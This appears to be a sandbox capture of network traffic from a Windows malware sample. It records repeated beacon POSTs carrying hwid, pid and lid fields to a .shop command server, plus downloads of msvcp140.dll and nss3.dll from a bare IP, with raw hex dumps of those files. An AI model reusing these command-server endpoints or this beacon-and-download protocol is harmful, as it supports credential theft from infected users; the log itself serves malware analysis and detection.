2024-05-24 11:43:40 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9upnqbs506g1foq6f4d5ij3omg; expires=Tue, 17-Sep-2024 05:30:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pgX0ZEnZLGk2JhuyBAL5DpOpyqmCCh7fhW90c6TCcYLDOUstLupB0G4DZuFMIbm7AP9tKx%2BadbRfh7cNpbyhpvwX9qLgoW83xfbUsT6EPD%2FXU2RcKTDzM0VPP6bOojus8nL1IfURBQNc4g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07787b971889-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	63766	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:38 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1391 Host: employhabragaomlsp.shop
2024-05-24 11:43:38 UTC	1391	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:38 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g69p1s9kp8li3d9j7l5alf8mmu; expires=Tue, 17-Sep-2024 05:30:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4spPDNc%2F58olLoKRFdoS%2FEuaWE6f1Ff9Sh5%2B6F2WjNK93Lkusit%2FhpRwZ00uPhQ7XSWNJS428wjRZWjiDGNnmyelxpJo8V4KRmWgZl5LcO6Jres1XXsRXOeEgzXgvZ85vJjffEc5UjEgjA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07789ca5421d-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	63767	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:38 UTC	174	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Cache-Control: no-cache
2024-05-24 11:43:39 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:39 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-6dde8" Accept-Ranges: bytes
2024-05-24 11:43:39 UTC	16138	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-05-24 11:43:39 UTC	16384	IN	Data Raw: 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 6d 00 72 00 2d 00 69 00 6e 00 00 00 6d 00 73 00 2d Data Ascii: hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnmr-inms-
2024-05-24 11:43:39 UTC	16384	IN	Data Raw: 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 c8 8b 00 10 00 Data Ascii: {\|L@DX}0}}M@4}0}}4M@tXM}0}}XM@
2024-05-24 11:43:39 UTC	16384	IN	Data Raw: c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 45 fc dd e2 df e0 dd da f6 c4 44 7b 49 d9 c2 d8 c1 Data Ascii: E]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]ED{I
2024-05-24 11:43:39 UTC	16384	IN	Data Raw: f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 0b 83 c0 02 83 6d d4 01 75 ec 8b c2 85 c0 74 26 3b Data Ascii: f;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90utmut&;
2024-05-24 11:43:39 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 cc 53 57 8b f9 83 7f 4c 00 75 04 33 db eb 24 56 e8 Data Ascii: UjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jjSWLu3$V
2024-05-24 11:43:39 UTC	16384	IN	Data Raw: 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e 01 51 e8 20 94 ff ff 83 7d fc 10 59 0f be 4d 14 89 Data Ascii: r@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WENQ }YM
2024-05-24 11:43:39 UTC	16384	IN	Data Raw: 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 e8 73 03 02 00 03 c3 89 04 f7 83 d2 00 8b da 89 5c Data Ascii: MS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4s\
2024-05-24 11:43:39 UTC	16384	IN	Data Raw: 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 7c 69 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 Data Ascii: uF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv\|iqY(R
2024-05-24 11:43:39 UTC	16384	IN	Data Raw: 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 83 ee 01 74 11 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 Data Ascii: u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tWt}ErE

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	63768	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:38 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1391 Host: employhabragaomlsp.shop
2024-05-24 11:43:38 UTC	1391	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:39 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t0oi380g52kpe8h71556c43vo6; expires=Tue, 17-Sep-2024 05:30:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R52s00E%2F%2FcGBU1GmpQzvLUoBwwFA2SQG4HSQYYUjYHkNFrIaGUw7DuGTQVf3W6AjebWgOH5RG%2FKaBJ5BO3cWRzZlGxWkBdbY08vRzpkZJXpCM9cyY0CjjjbHELyCNSyUfnPHzC%2FknvCUbg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d077c3ec00cc8-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	63769	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:39 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1391 Host: employhabragaomlsp.shop
2024-05-24 11:43:39 UTC	1391	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:39 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4pu5k5sqnq7anjqsiuju9o66o4; expires=Tue, 17-Sep-2024 05:30:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SuMVwn8K6Q2ZcE0%2FQ0UpPd%2BNzdxZmBVQ0M9e1Aup3hv5bJC7faEd3GpduoGtYEfi7wlzrB1WFQXPa3a3z6yfH%2BS%2Fq2WEK0qAE4PYqcAGzWqsMQWAYZ2AOK2i3ZeT2iKqiM%2B98Tp94z0XXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d077f791b72a5-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	63770	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:39 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 11:43:39 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 11:43:40 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ad5ku6imacpferr2tvuorj29br; expires=Tue, 17-Sep-2024 05:30:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jt%2BV7RXbDtcdt1odUHS2BzFNcb%2FJChU53nrzTn9z1OsKZ9LvCLGzxoJF9xrlAreq3d1Q8prMhQeB%2F5jrz9y9bIP%2Fq1stdKhWKQZV3sgK%2FPwK8b1ZjkaBNKGbpe2wGRLKTgOGlNWFt3MRaA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d0782eed480d3-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:40 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 11:43:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	63771	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:40 UTC	170	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Cache-Control: no-cache
2024-05-24 11:43:41 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:40 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-1f3950" Accept-Ranges: bytes
2024-05-24 11:43:41 UTC	16136	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS 